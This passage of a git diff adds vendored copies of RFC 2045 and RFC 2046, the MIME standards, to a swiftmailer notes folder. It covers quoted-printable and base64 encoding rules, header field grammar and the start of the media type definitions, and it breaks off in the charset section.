(2) (Literal representation) Octets with decimal values of + 33 through 60 inclusive, and 62 through 126, inclusive, + MAY be represented as the US-ASCII characters which + correspond to those octets (EXCLAMATION POINT through + LESS THAN, and GREATER THAN through TILDE, + respectively). + + (3) (White Space) Octets with values of 9 and 32 MAY be + represented as US-ASCII TAB (HT) and SPACE characters, + + + +Freed & Borenstein Standards Track [Page 19] + +RFC 2045 Internet Message Bodies November 1996 + + + respectively, but MUST NOT be so represented at the end + of an encoded line. Any TAB (HT) or SPACE characters + on an encoded line MUST thus be followed on that line + by a printable character. In particular, an "=" at the + end of an encoded line, indicating a soft line break + (see rule #5) may follow one or more TAB (HT) or SPACE + characters. It follows that an octet with decimal + value 9 or 32 appearing at the end of an encoded line + must be represented according to Rule #1. This rule is + necessary because some MTAs (Message Transport Agents, + programs which transport messages from one user to + another, or perform a portion of such transfers) are + known to pad lines of text with SPACEs, and others are + known to remove "white space" characters from the end + of a line. Therefore, when decoding a Quoted-Printable + body, any trailing white space on a line must be + deleted, as it will necessarily have been added by + intermediate transport agents. + + (4) (Line Breaks) A line break in a text body, represented + as a CRLF sequence in the text canonical form, must be + represented by a (RFC 822) line break, which is also a + CRLF sequence, in the Quoted-Printable encoding. Since + the canonical representation of media types other than + text do not generally include the representation of + line breaks as CRLF sequences, no hard line breaks + (i.e. line breaks that are intended to be meaningful + and to be displayed to the user) can occur in the + quoted-printable encoding of such types. Sequences + like "=0D", "=0A", "=0A=0D" and "=0D=0A" will routinely + appear in non-text data represented in quoted- + printable, of course. + + Note that many implementations may elect to encode the + local representation of various content types directly + rather than converting to canonical form first, + encoding, and then converting back to local + representation. In particular, this may apply to plain + text material on systems that use newline conventions + other than a CRLF terminator sequence. Such an + implementation optimization is permissible, but only + when the combined canonicalization-encoding step is + equivalent to performing the three steps separately. + + (5) (Soft Line Breaks) The Quoted-Printable encoding + REQUIRES that encoded lines be no more than 76 + characters long. If longer lines are to be encoded + with the Quoted-Printable encoding, "soft" line breaks + + + +Freed & Borenstein Standards Track [Page 20] + +RFC 2045 Internet Message Bodies November 1996 + + + must be used. An equal sign as the last character on a + encoded line indicates such a non-significant ("soft") + line break in the encoded text. + + Thus if the "raw" form of the line is a single unencoded line that + says: + + Now's the time for all folk to come to the aid of their country. + + This can be represented, in the Quoted-Printable encoding, as: + + Now's the time = + for all folk to come= + to the aid of their country. + + This provides a mechanism with which long lines are encoded in such a + way as to be restored by the user agent. The 76 character limit does + not count the trailing CRLF, but counts all other characters, + including any equal signs. + + Since the hyphen character ("-") may be represented as itself in the + Quoted-Printable encoding, care must be taken, when encapsulating a + quoted-printable encoded body inside one or more multipart entities, + to ensure that the boundary delimiter does not appear anywhere in the + encoded body. (A good strategy is to choose a boundary that includes + a character sequence such as "=_" which can never appear in a + quoted-printable body. See the definition of multipart messages in + RFC 2046.) + + NOTE: The quoted-printable encoding represents something of a + compromise between readability and reliability in transport. Bodies + encoded with the quoted-printable encoding will work reliably over + most mail gateways, but may not work perfectly over a few gateways, + notably those involving translation into EBCDIC. A higher level of + confidence is offered by the base64 Content-Transfer-Encoding. A way + to get reasonably reliable transport through EBCDIC gateways is to + also quote the US-ASCII characters + + !"#$@[\]^`{|}~ + + according to rule #1. + + Because quoted-printable data is generally assumed to be line- + oriented, it is to be expected that the representation of the breaks + between the lines of quoted-printable data may be altered in + transport, in the same manner that plain text mail has always been + altered in Internet mail when passing between systems with differing + newline conventions. If such alterations are likely to constitute a + + + +Freed & Borenstein Standards Track [Page 21] + +RFC 2045 Internet Message Bodies November 1996 + + + corruption of the data, it is probably more sensible to use the + base64 encoding rather than the quoted-printable encoding. + + NOTE: Several kinds of substrings cannot be generated according to + the encoding rules for the quoted-printable content-transfer- + encoding, and hence are formally illegal if they appear in the output + of a quoted-printable encoder. This note enumerates these cases and + suggests ways to handle such illegal substrings if any are + encountered in quoted-printable data that is to be decoded. + + (1) An "=" followed by two hexadecimal digits, one or both + of which are lowercase letters in "abcdef", is formally + illegal. A robust implementation might choose to + recognize them as the corresponding uppercase letters. + + (2) An "=" followed by a character that is neither a + hexadecimal digit (including "abcdef") nor the CR + character of a CRLF pair is illegal. This case can be + the result of US-ASCII text having been included in a + quoted-printable part of a message without itself + having been subjected to quoted-printable encoding. A + reasonable approach by a robust implementation might be + to include the "=" character and the following + character in the decoded data without any + transformation and, if possible, indicate to the user + that proper decoding was not possible at this point in + the data. + + (3) An "=" cannot be the ultimate or penultimate character + in an encoded object. This could be handled as in case + (2) above. + + (4) Control characters other than TAB, or CR and LF as + parts of CRLF pairs, must not appear. The same is true + for octets with decimal values greater than 126. If + found in incoming quoted-printable data by a decoder, a + robust implementation might exclude them from the + decoded data and warn the user that illegal characters + were discovered. + + (5) Encoded lines must not be longer than 76 characters, + not counting the trailing CRLF. If longer lines are + found in incoming, encoded data, a robust + implementation might nevertheless decode the lines, and + might report the erroneous encoding to the user. + + + + + + +Freed & Borenstein Standards Track [Page 22] + +RFC 2045 Internet Message Bodies November 1996 + + + WARNING TO IMPLEMENTORS: If binary data is encoded in quoted- + printable, care must be taken to encode CR and LF characters as "=0D" + and "=0A", respectively. In particular, a CRLF sequence in binary + data should be encoded as "=0D=0A". Otherwise, if CRLF were + represented as a hard line break, it might be incorrectly decoded on + platforms with different line break conventions. + + For formalists, the syntax of quoted-printable data is described by + the following grammar: + + quoted-printable := qp-line *(CRLF qp-line) + + qp-line := *(qp-segment transport-padding CRLF) + qp-part transport-padding + + qp-part := qp-section + ; Maximum length of 76 characters + + qp-segment := qp-section *(SPACE / TAB) "=" + ; Maximum length of 76 characters + + qp-section := [*(ptext / SPACE / TAB) ptext] + + ptext := hex-octet / safe-char + + safe-char := + ; Characters not listed as "mail-safe" in + ; RFC 2049 are also not recommended. + + hex-octet := "=" 2(DIGIT / "A" / "B" / "C" / "D" / "E" / "F") + ; Octet must be used for characters > 127, =, + ; SPACEs or TABs at the ends of lines, and is + ; recommended for any character not listed in + ; RFC 2049 as "mail-safe". + + transport-padding := *LWSP-char + ; Composers MUST NOT generate + ; non-zero length transport + ; padding, but receivers MUST + ; be able to handle padding + ; added by message transports. + + IMPORTANT: The addition of LWSP between the elements shown in this + BNF is NOT allowed since this BNF does not specify a structured + header field. + + + + + +Freed & Borenstein Standards Track [Page 23] + +RFC 2045 Internet Message Bodies November 1996 + + +6.8. Base64 Content-Transfer-Encoding + + The Base64 Content-Transfer-Encoding is designed to represent + arbitrary sequences of octets in a form that need not be humanly + readable. The encoding and decoding algorithms are simple, but the + encoded data are consistently only about 33 percent larger than the + unencoded data. This encoding is virtually identical to the one used + in Privacy Enhanced Mail (PEM) applications, as defined in RFC 1421. + + A 65-character subset of US-ASCII is used, enabling 6 bits to be + represented per printable character. (The extra 65th character, "=", + is used to signify a special processing function.) + + NOTE: This subset has the important property that it is represented + identically in all versions of ISO 646, including US-ASCII, and all + characters in the subset are also represented identically in all + versions of EBCDIC. Other popular encodings, such as the encoding + used by the uuencode utility, Macintosh binhex 4.0 [RFC-1741], and + the base85 encoding specified as part of Level 2 PostScript, do not + share these properties, and thus do not fulfill the portability + requirements a binary transport encoding for mail must meet. + + The encoding process represents 24-bit groups of input bits as output + strings of 4 encoded characters. Proceeding from left to right, a + 24-bit input group is formed by concatenating 3 8bit input groups. + These 24 bits are then treated as 4 concatenated 6-bit groups, each + of which is translated into a single digit in the base64 alphabet. + When encoding a bit stream via the base64 encoding, the bit stream + must be presumed to be ordered with the most-significant-bit first. + That is, the first bit in the stream will be the high-order bit in + the first 8bit byte, and the eighth bit will be the low-order bit in + the first 8bit byte, and so on. + + Each 6-bit group is used as an index into an array of 64 printable + characters. The character referenced by the index is placed in the + output string. These characters, identified in Table 1, below, are + selected so as to be universally representable, and the set excludes + characters with particular significance to SMTP (e.g., ".", CR, LF) + and to the multipart boundary delimiters defined in RFC 2046 (e.g., + "-"). + + + + + + + + + + + +Freed & Borenstein Standards Track [Page 24] + +RFC 2045 Internet Message Bodies November 1996 + + + Table 1: The Base64 Alphabet + + Value Encoding Value Encoding Value Encoding Value Encoding + 0 A 17 R 34 i 51 z + 1 B 18 S 35 j 52 0 + 2 C 19 T 36 k 53 1 + 3 D 20 U 37 l 54 2 + 4 E 21 V 38 m 55 3 + 5 F 22 W 39 n 56 4 + 6 G 23 X 40 o 57 5 + 7 H 24 Y 41 p 58 6 + 8 I 25 Z 42 q 59 7 + 9 J 26 a 43 r 60 8 + 10 K 27 b 44 s 61 9 + 11 L 28 c 45 t 62 + + 12 M 29 d 46 u 63 / + 13 N 30 e 47 v + 14 O 31 f 48 w (pad) = + 15 P 32 g 49 x + 16 Q 33 h 50 y + + The encoded output stream must be represented in lines of no more + than 76 characters each. All line breaks or other characters not + found in Table 1 must be ignored by decoding software. In base64 + data, characters other than those in Table 1, line breaks, and other + white space probably indicate a transmission error, about which a + warning message or even a message rejection might be appropriate + under some circumstances. + + Special processing is performed if fewer than 24 bits are available + at the end of the data being encoded. A full encoding quantum is + always completed at the end of a body. When fewer than 24 input bits + are available in an input group, zero bits are added (on the right) + to form an integral number of 6-bit groups. Padding at the end of + the data is performed using the "=" character. Since all base64 + input is an integral number of octets, only the following cases can + arise: (1) the final quantum of encoding input is an integral + multiple of 24 bits; here, the final unit of encoded output will be + an integral multiple of 4 characters with no "=" padding, (2) the + final quantum of encoding input is exactly 8 bits; here, the final + unit of encoded output will be two characters followed by two "=" + padding characters, or (3) the final quantum of encoding input is + exactly 16 bits; here, the final unit of encoded output will be three + characters followed by one "=" padding character. + + Because it is used only for padding at the end of the data, the + occurrence of any "=" characters may be taken as evidence that the + end of the data has been reached (without truncation in transit). No + + + +Freed & Borenstein Standards Track [Page 25] + +RFC 2045 Internet Message Bodies November 1996 + + + such assurance is possible, however, when the number of octets + transmitted was a multiple of three and no "=" characters are + present. + + Any characters outside of the base64 alphabet are to be ignored in + base64-encoded data. + + Care must be taken to use the proper octets for line breaks if base64 + encoding is applied directly to text material that has not been + converted to canonical form. In particular, text line breaks must be + converted into CRLF sequences prior to base64 encoding. The + important thing to note is that this may be done directly by the + encoder rather than in a prior canonicalization step in some + implementations. + + NOTE: There is no need to worry about quoting potential boundary + delimiters within base64-encoded bodies within multipart entities + because no hyphen characters are used in the base64 encoding. + +7. Content-ID Header Field + + In constructing a high-level user agent, it may be desirable to allow + one body to make reference to another. Accordingly, bodies may be + labelled using the "Content-ID" header field, which is syntactically + identical to the "Message-ID" header field: + + id := "Content-ID" ":" msg-id + + Like the Message-ID values, Content-ID values must be generated to be + world-unique. + + The Content-ID value may be used for uniquely identifying MIME + entities in several contexts, particularly for caching data + referenced by the message/external-body mechanism. Although the + Content-ID header is generally optional, its use is MANDATORY in + implementations which generate data of the optional MIME media type + "message/external-body". That is, each message/external-body entity + must have a Content-ID field to permit caching of such data. + + It is also worth noting that the Content-ID value has special + semantics in the case of the multipart/alternative media type. This + is explained in the section of RFC 2046 dealing with + multipart/alternative. + + + + + + + + +Freed & Borenstein Standards Track [Page 26] + +RFC 2045 Internet Message Bodies November 1996 + + +8. Content-Description Header Field + + The ability to associate some descriptive information with a given + body is often desirable. For example, it may be useful to mark an + "image" body as "a picture of the Space Shuttle Endeavor." Such text + may be placed in the Content-Description header field. This header + field is always optional. + + description := "Content-Description" ":" *text + + The description is presumed to be given in the US-ASCII character + set, although the mechanism specified in RFC 2047 may be used for + non-US-ASCII Content-Description values. + +9. Additional MIME Header Fields + + Future documents may elect to define additional MIME header fields + for various purposes. Any new header field that further describes + the content of a message should begin with the string "Content-" to + allow such fields which appear in a message header to be + distinguished from ordinary RFC 822 message header fields. + + MIME-extension-field := + +10. Summary + + Using the MIME-Version, Content-Type, and Content-Transfer-Encoding + header fields, it is possible to include, in a standardized way, + arbitrary types of data with RFC 822 conformant mail messages. No + restrictions imposed by either RFC 821 or RFC 822 are violated, and + care has been taken to avoid problems caused by additional + restrictions imposed by the characteristics of some Internet mail + transport mechanisms (see RFC 2049). + + The next document in this set, RFC 2046, specifies the initial set of + media types that can be labelled and transported using these headers. + +11. Security Considerations + + Security issues are discussed in the second document in this set, RFC + 2046. + + + + + + + + +Freed & Borenstein Standards Track [Page 27] + +RFC 2045 Internet Message Bodies November 1996 + + +12. Authors' Addresses + + For more information, the authors of this document are best contacted + via Internet mail: + + Ned Freed + Innosoft International, Inc. + 1050 East Garvey Avenue South + West Covina, CA 91790 + USA + + Phone: +1 818 919 3600 + Fax: +1 818 919 3614 + EMail: ned@innosoft.com + + + Nathaniel S. Borenstein + First Virtual Holdings + 25 Washington Avenue + Morristown, NJ 07960 + USA + + Phone: +1 201 540 8967 + Fax: +1 201 993 3032 + EMail: nsb@nsb.fv.com + + + MIME is a result of the work of the Internet Engineering Task Force + Working Group on RFC 822 Extensions. The chairman of that group, + Greg Vaudreuil, may be reached at: + + Gregory M. Vaudreuil + Octel Network Services + 17080 Dallas Parkway + Dallas, TX 75248-1905 + USA + + EMail: Greg.Vaudreuil@Octel.Com + + + + + + + + + + + + + +Freed & Borenstein Standards Track [Page 28] + +RFC 2045 Internet Message Bodies November 1996 + + +Appendix A -- Collected Grammar + + This appendix contains the complete BNF grammar for all the syntax + specified by this document. + + By itself, however, this grammar is incomplete. It refers by name to + several syntax rules that are defined by RFC 822. Rather than + reproduce those definitions here, and risk unintentional differences + between the two, this document simply refers the reader to RFC 822 + for the remaining definitions. Wherever a term is undefined, it + refers to the RFC 822 definition. + + attribute := token + ; Matching of attributes + ; is ALWAYS case-insensitive. + + composite-type := "message" / "multipart" / extension-token + + content := "Content-Type" ":" type "/" subtype + *(";" parameter) + ; Matching of media type and subtype + ; is ALWAYS case-insensitive. + + description := "Content-Description" ":" *text + + discrete-type := "text" / "image" / "audio" / "video" / + "application" / extension-token + + encoding := "Content-Transfer-Encoding" ":" mechanism + + entity-headers := [ content CRLF ] + [ encoding CRLF ] + [ id CRLF ] + [ description CRLF ] + *( MIME-extension-field CRLF ) + + extension-token := ietf-token / x-token + + hex-octet := "=" 2(DIGIT / "A" / "B" / "C" / "D" / "E" / "F") + ; Octet must be used for characters > 127, =, + ; SPACEs or TABs at the ends of lines, and is + ; recommended for any character not listed in + ; RFC 2049 as "mail-safe". + + iana-token := + + + + +Freed & Borenstein Standards Track [Page 29] + +RFC 2045 Internet Message Bodies November 1996 + + + ietf-token := + + id := "Content-ID" ":" msg-id + + mechanism := "7bit" / "8bit" / "binary" / + "quoted-printable" / "base64" / + ietf-token / x-token + + MIME-extension-field := + + MIME-message-headers := entity-headers + fields + version CRLF + ; The ordering of the header + ; fields implied by this BNF + ; definition should be ignored. + + MIME-part-headers := entity-headers + [fields] + ; Any field not beginning with + ; "content-" can have no defined + ; meaning and may be ignored. + ; The ordering of the header + ; fields implied by this BNF + ; definition should be ignored. + + parameter := attribute "=" value + + ptext := hex-octet / safe-char + + qp-line := *(qp-segment transport-padding CRLF) + qp-part transport-padding + + qp-part := qp-section + ; Maximum length of 76 characters + + qp-section := [*(ptext / SPACE / TAB) ptext] + + qp-segment := qp-section *(SPACE / TAB) "=" + ; Maximum length of 76 characters + + quoted-printable := qp-line *(CRLF qp-line) + + + + + +Freed & Borenstein Standards Track [Page 30] + +RFC 2045 Internet Message Bodies November 1996 + + + safe-char := + ; Characters not listed as "mail-safe" in + ; RFC 2049 are also not recommended. + + subtype := extension-token / iana-token + + token := 1* + + transport-padding := *LWSP-char + ; Composers MUST NOT generate + ; non-zero length transport + ; padding, but receivers MUST + ; be able to handle padding + ; added by message transports. + + tspecials := "(" / ")" / "<" / ">" / "@" / + "," / ";" / ":" / "\" / <"> + "/" / "[" / "]" / "?" / "=" + ; Must be in quoted-string, + ; to use within parameter values + + type := discrete-type / composite-type + + value := token / quoted-string + + version := "MIME-Version" ":" 1*DIGIT "." 1*DIGIT + + x-token := + + + + + + + + + + + + + + + + + + + + +Freed & Borenstein Standards Track [Page 31] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2046.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2046.txt new file mode 100644 index 00000000..84d90c10 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2046.txt @@ -0,0 +1,2467 @@ + + + + + + +Network Working Group N. Freed +Request for Comments: 2046 Innosoft +Obsoletes: 1521, 1522, 1590 N. Borenstein +Category: Standards Track First Virtual + November 1996 + + + Multipurpose Internet Mail Extensions + (MIME) Part Two: + Media Types + +Status of this Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Abstract + + STD 11, RFC 822 defines a message representation protocol specifying + considerable detail about US-ASCII message headers, but which leaves + the message content, or message body, as flat US-ASCII text. This + set of documents, collectively called the Multipurpose Internet Mail + Extensions, or MIME, redefines the format of messages to allow for + + (1) textual message bodies in character sets other than + US-ASCII, + + (2) an extensible set of different formats for non-textual + message bodies, + + (3) multi-part message bodies, and + + (4) textual header information in character sets other than + US-ASCII. + + These documents are based on earlier work documented in RFC 934, STD + 11, and RFC 1049, but extends and revises them. Because RFC 822 said + so little about message bodies, these documents are largely + orthogonal to (rather than a revision of) RFC 822. + + The initial document in this set, RFC 2045, specifies the various + headers used to describe the structure of MIME messages. This second + document defines the general structure of the MIME media typing + system and defines an initial set of media types. The third document, + RFC 2047, describes extensions to RFC 822 to allow non-US-ASCII text + + + +Freed & Borenstein Standards Track [Page 1] + +RFC 2046 Media Types November 1996 + + + data in Internet mail header fields. The fourth document, RFC 2048, + specifies various IANA registration procedures for MIME-related + facilities. The fifth and final document, RFC 2049, describes MIME + conformance criteria as well as providing some illustrative examples + of MIME message formats, acknowledgements, and the bibliography. + + These documents are revisions of RFCs 1521 and 1522, which themselves + were revisions of RFCs 1341 and 1342. An appendix in RFC 2049 + describes differences and changes from previous versions. + +Table of Contents + + 1. Introduction ......................................... 3 + 2. Definition of a Top-Level Media Type ................. 4 + 3. Overview Of The Initial Top-Level Media Types ........ 4 + 4. Discrete Media Type Values ........................... 6 + 4.1 Text Media Type ..................................... 6 + 4.1.1 Representation of Line Breaks ..................... 7 + 4.1.2 Charset Parameter ................................. 7 + 4.1.3 Plain Subtype ..................................... 11 + 4.1.4 Unrecognized Subtypes ............................. 11 + 4.2 Image Media Type .................................... 11 + 4.3 Audio Media Type .................................... 11 + 4.4 Video Media Type .................................... 12 + 4.5 Application Media Type .............................. 12 + 4.5.1 Octet-Stream Subtype .............................. 13 + 4.5.2 PostScript Subtype ................................ 14 + 4.5.3 Other Application Subtypes ........................ 17 + 5. Composite Media Type Values .......................... 17 + 5.1 Multipart Media Type ................................ 17 + 5.1.1 Common Syntax ..................................... 19 + 5.1.2 Handling Nested Messages and Multiparts ........... 24 + 5.1.3 Mixed Subtype ..................................... 24 + 5.1.4 Alternative Subtype ............................... 24 + 5.1.5 Digest Subtype .................................... 26 + 5.1.6 Parallel Subtype .................................. 27 + 5.1.7 Other Multipart Subtypes .......................... 28 + 5.2 Message Media Type .................................. 28 + 5.2.1 RFC822 Subtype .................................... 28 + 5.2.2 Partial Subtype ................................... 29 + 5.2.2.1 Message Fragmentation and Reassembly ............ 30 + 5.2.2.2 Fragmentation and Reassembly Example ............ 31 + 5.2.3 External-Body Subtype ............................. 33 + 5.2.4 Other Message Subtypes ............................ 40 + 6. Experimental Media Type Values ....................... 40 + 7. Summary .............................................. 41 + 8. Security Considerations .............................. 41 + 9. Authors' Addresses ................................... 42 + + + +Freed & Borenstein Standards Track [Page 2] + +RFC 2046 Media Types November 1996 + + + A. Collected Grammar .................................... 43 + +1. Introduction + + The first document in this set, RFC 2045, defines a number of header + fields, including Content-Type. The Content-Type field is used to + specify the nature of the data in the body of a MIME entity, by + giving media type and subtype identifiers, and by providing auxiliary + information that may be required for certain media types. After the + type and subtype names, the remainder of the header field is simply a + set of parameters, specified in an attribute/value notation. The + ordering of parameters is not significant. + + In general, the top-level media type is used to declare the general + type of data, while the subtype specifies a specific format for that + type of data. Thus, a media type of "image/xyz" is enough to tell a + user agent that the data is an image, even if the user agent has no + knowledge of the specific image format "xyz". Such information can + be used, for example, to decide whether or not to show a user the raw + data from an unrecognized subtype -- such an action might be + reasonable for unrecognized subtypes of "text", but not for + unrecognized subtypes of "image" or "audio". For this reason, + registered subtypes of "text", "image", "audio", and "video" should + not contain embedded information that is really of a different type. + Such compound formats should be represented using the "multipart" or + "application" types. + + Parameters are modifiers of the media subtype, and as such do not + fundamentally affect the nature of the content. The set of + meaningful parameters depends on the media type and subtype. Most + parameters are associated with a single specific subtype. However, a + given top-level media type may define parameters which are applicable + to any subtype of that type. Parameters may be required by their + defining media type or subtype or they may be optional. MIME + implementations must also ignore any parameters whose names they do + not recognize. + + MIME's Content-Type header field and media type mechanism has been + carefully designed to be extensible, and it is expected that the set + of media type/subtype pairs and their associated parameters will grow + significantly over time. Several other MIME facilities, such as + transfer encodings and "message/external-body" access types, are + likely to have new values defined over time. In order to ensure that + the set of such values is developed in an orderly, well-specified, + and public manner, MIME sets up a registration process which uses the + Internet Assigned Numbers Authority (IANA) as a central registry for + MIME's various areas of extensibility. The registration process for + these areas is described in a companion document, RFC 2048. + + + +Freed & Borenstein Standards Track [Page 3] + +RFC 2046 Media Types November 1996 + + + The initial seven standard top-level media type are defined and + described in the remainder of this document. + +2. Definition of a Top-Level Media Type + + The definition of a top-level media type consists of: + + (1) a name and a description of the type, including + criteria for whether a particular type would qualify + under that type, + + (2) the names and definitions of parameters, if any, which + are defined for all subtypes of that type (including + whether such parameters are required or optional), + + (3) how a user agent and/or gateway should handle unknown + subtypes of this type, + + (4) general considerations on gatewaying entities of this + top-level type, if any, and + + (5) any restrictions on content-transfer-encodings for + entities of this top-level type. + +3. Overview Of The Initial Top-Level Media Types + + The five discrete top-level media types are: + + (1) text -- textual information. The subtype "plain" in + particular indicates plain text containing no + formatting commands or directives of any sort. Plain + text is intended to be displayed "as-is". No special + software is required to get the full meaning of the + text, aside from support for the indicated character + set. Other subtypes are to be used for enriched text in + forms where application software may enhance the + appearance of the text, but such software must not be + required in order to get the general idea of the + content. Possible subtypes of "text" thus include any + word processor format that can be read without + resorting to software that understands the format. In + particular, formats that employ embeddded binary + formatting information are not considered directly + readable. A very simple and portable subtype, + "richtext", was defined in RFC 1341, with a further + revision in RFC 1896 under the name "enriched". + + + + + +Freed & Borenstein Standards Track [Page 4] + +RFC 2046 Media Types November 1996 + + + (2) image -- image data. "Image" requires a display device + (such as a graphical display, a graphics printer, or a + FAX machine) to view the information. An initial + subtype is defined for the widely-used image format + JPEG. . subtypes are defined for two widely-used image + formats, jpeg and gif. + + (3) audio -- audio data. "Audio" requires an audio output + device (such as a speaker or a telephone) to "display" + the contents. An initial subtype "basic" is defined in + this document. + + (4) video -- video data. "Video" requires the capability + to display moving images, typically including + specialized hardware and software. An initial subtype + "mpeg" is defined in this document. + + (5) application -- some other kind of data, typically + either uninterpreted binary data or information to be + processed by an application. The subtype "octet- + stream" is to be used in the case of uninterpreted + binary data, in which case the simplest recommended + action is to offer to write the information into a file + for the user. The "PostScript" subtype is also defined + for the transport of PostScript material. Other + expected uses for "application" include spreadsheets, + data for mail-based scheduling systems, and languages + for "active" (computational) messaging, and word + processing formats that are not directly readable. + Note that security considerations may exist for some + types of application data, most notably + "application/PostScript" and any form of active + messaging. These issues are discussed later in this + document. + + The two composite top-level media types are: + + (1) multipart -- data consisting of multiple entities of + independent data types. Four subtypes are initially + defined, including the basic "mixed" subtype specifying + a generic mixed set of parts, "alternative" for + representing the same data in multiple formats, + "parallel" for parts intended to be viewed + simultaneously, and "digest" for multipart entities in + which each part has a default type of "message/rfc822". + + + + + + +Freed & Borenstein Standards Track [Page 5] + +RFC 2046 Media Types November 1996 + + + (2) message -- an encapsulated message. A body of media + type "message" is itself all or a portion of some kind + of message object. Such objects may or may not in turn + contain other entities. The "rfc822" subtype is used + when the encapsulated content is itself an RFC 822 + message. The "partial" subtype is defined for partial + RFC 822 messages, to permit the fragmented transmission + of bodies that are thought to be too large to be passed + through transport facilities in one piece. Another + subtype, "external-body", is defined for specifying + large bodies by reference to an external data source. + + It should be noted that the list of media type values given here may + be augmented in time, via the mechanisms described above, and that + the set of subtypes is expected to grow substantially. + +4. Discrete Media Type Values + + Five of the seven initial media type values refer to discrete bodies. + The content of these types must be handled by non-MIME mechanisms; + they are opaque to MIME processors. + +4.1. Text Media Type + + The "text" media type is intended for sending material which is + principally textual in form. A "charset" parameter may be used to + indicate the character set of the body text for "text" subtypes, + notably including the subtype "text/plain", which is a generic + subtype for plain text. Plain text does not provide for or allow + formatting commands, font attribute specifications, processing + instructions, interpretation directives, or content markup. Plain + text is seen simply as a linear sequence of characters, possibly + interrupted by line breaks or page breaks. Plain text may allow the + stacking of several characters in the same position in the text. + Plain text in scripts like Arabic and Hebrew may also include + facilitites that allow the arbitrary mixing of text segments with + opposite writing directions. + + Beyond plain text, there are many formats for representing what might + be known as "rich text". An interesting characteristic of many such + representations is that they are to some extent readable even without + the software that interprets them. It is useful, then, to + distinguish them, at the highest level, from such unreadable data as + images, audio, or text represented in an unreadable form. In the + absence of appropriate interpretation software, it is reasonable to + show subtypes of "text" to the user, while it is not reasonable to do + so with most nontextual data. Such formatted textual data should be + represented using subtypes of "text". + + + +Freed & Borenstein Standards Track [Page 6] + +RFC 2046 Media Types November 1996 + + +4.1.1. Representation of Line Breaks + + The canonical form of any MIME "text" subtype MUST always represent a + line break as a CRLF sequence. Similarly, any occurrence of CRLF in + MIME "text" MUST represent a line break. Use of CR and LF outside of + line break sequences is also forbidden. + + This rule applies regardless of format or character set or sets + involved. + + NOTE: The proper interpretation of line breaks when a body is + displayed depends on the media type. In particular, while it is + appropriate to treat a line break as a transition to a new line when + displaying a "text/plain" body, this treatment is actually incorrect + for other subtypes of "text" like "text/enriched" [RFC-1896]. + Similarly, whether or not line breaks should be added during display + operations is also a function of the media type. It should not be + necessary to add any line breaks to display "text/plain" correctly, + whereas proper display of "text/enriched" requires the appropriate + addition of line breaks. + + NOTE: Some protocols defines a maximum line length. E.g. SMTP [RFC- + 821] allows a maximum of 998 octets before the next CRLF sequence. + To be transported by such protocols, data which includes too long + segments without CRLF sequences must be encoded with a suitable + content-transfer-encoding. + +4.1.2. Charset Parameter + + A critical parameter that may be specified in the Content-Type field + for "text/plain" data is the character set. This is specified with a + "charset" parameter, as in: + + Content-type: text/plain; charset=iso-8859-1 + + Unlike some other parameter values, the values of the charset + parameter are NOT case sensitive. The default character set, which + must be assumed in the absence of a charset parameter, is US-ASCII. + + The specification for any future subtypes of "text" must specify + whether or not they will also utilize a "charset" parameter, and may + possibly restrict its values as well. For other subtypes of "text" + than "text/plain", the semantics of the "charset" parameter should be + defined to be identical to those specified here for "text/plain", + i.e., the body consists entirely of characters in the given charset. + In particular, definers of future "text" subtypes should pay close + attention to the implications of multioctet character sets for their + subtype definitions. + + + +Freed & Borenstein Standards Track [Page 7] + +RFC 2046 Media Types November 1996 + + + The charset parameter for subtypes of "text" gives a name of a + character set, as "character set" is defined in RFC 2045. The rules + regarding line breaks detailed in the previous section must also be + observed -- a character set whose definition does not conform to + these rules cannot be used in a MIME "text" subtype. + + An initial list of predefined character set names can be found at the + end of this section. Additional character sets may be registered + with IANA. + + Other media types than subtypes of "text" might choose to employ the + charset parameter as defined here, but with the CRLF/line break + restriction removed. Therefore, all character sets that conform to + the general definition of "character set" in RFC 2045 can be + registered for MIME use. + + Note that if the specified character set includes 8-bit characters + and such characters are used in the body, a Content-Transfer-Encoding + header field and a corresponding encoding on the data are required in + order to transmit the body via some mail transfer protocols, such as + SMTP [RFC-821]. + + The default character set, US-ASCII, has been the subject of some + confusion and ambiguity in the past. Not only were there some + ambiguities in the definition, there have been wide variations in + practice. In order to eliminate such ambiguity and variations in the + future, it is strongly recommended that new user agents explicitly + specify a character set as a media type parameter in the Content-Type + header field. "US-ASCII" does not indicate an arbitrary 7-bit + character set, but specifies that all octets in the body must be + interpreted as characters according to the US-ASCII character set. + National and application-oriented versions of ISO 646 [ISO-646] are + usually NOT identical to US-ASCII, and in that case their use in + Internet mail is explicitly discouraged. The omission of the ISO 646 + character set from this document is deliberate in this regard. The + character set name of "US-ASCII" explicitly refers to the character + set defined in ANSI X3.4-1986 [US- ASCII]. The new international + reference version (IRV) of the 1991 edition of ISO 646 is identical + to US-ASCII. The character set name "ASCII" is reserved and must not + be used for any purpose. + + NOTE: RFC 821 explicitly specifies "ASCII", and references an earlier + version of the American Standard. Insofar as one of the purposes of + specifying a media type and character set is to permit the receiver + to unambiguously determine how the sender intended the coded message + to be interpreted, assuming anything other than "strict ASCII" as the + default would risk unintentional and incompatible changes to the + semantics of messages now being transmitted. This also implies that + + + +Freed & Borenstein Standards Track [Page 8] + +RFC 2046 Media Types November 1996 + + + messages containing characters coded according to other versions of + ISO 646 than US-ASCII and the 1991 IRV, or using code-switching + procedures (e.g., those of ISO 2022), as well as 8bit or multiple + octet character encodings MUST use an appropriate character set + specification to be consistent with MIME. + + The complete US-ASCII character set is listed in ANSI X3.4- 1986. + Note that the control characters including DEL (0-31, 127) have no + defined meaning in apart from the combination CRLF (US-ASCII values + 13 and 10) indicating a new line. Two of the characters have de + facto meanings in wide use: FF (12) often means "start subsequent + text on the beginning of a new page"; and TAB or HT (9) often (though + not always) means "move the cursor to the next available column after + the current position where the column number is a multiple of 8 + (counting the first column as column 0)." Aside from these + conventions, any use of the control characters or DEL in a body must + either occur + + (1) because a subtype of text other than "plain" + specifically assigns some additional meaning, or + + (2) within the context of a private agreement between the + sender and recipient. Such private agreements are + discouraged and should be replaced by the other + capabilities of this document. + + NOTE: An enormous proliferation of character sets exist beyond US- + ASCII. A large number of 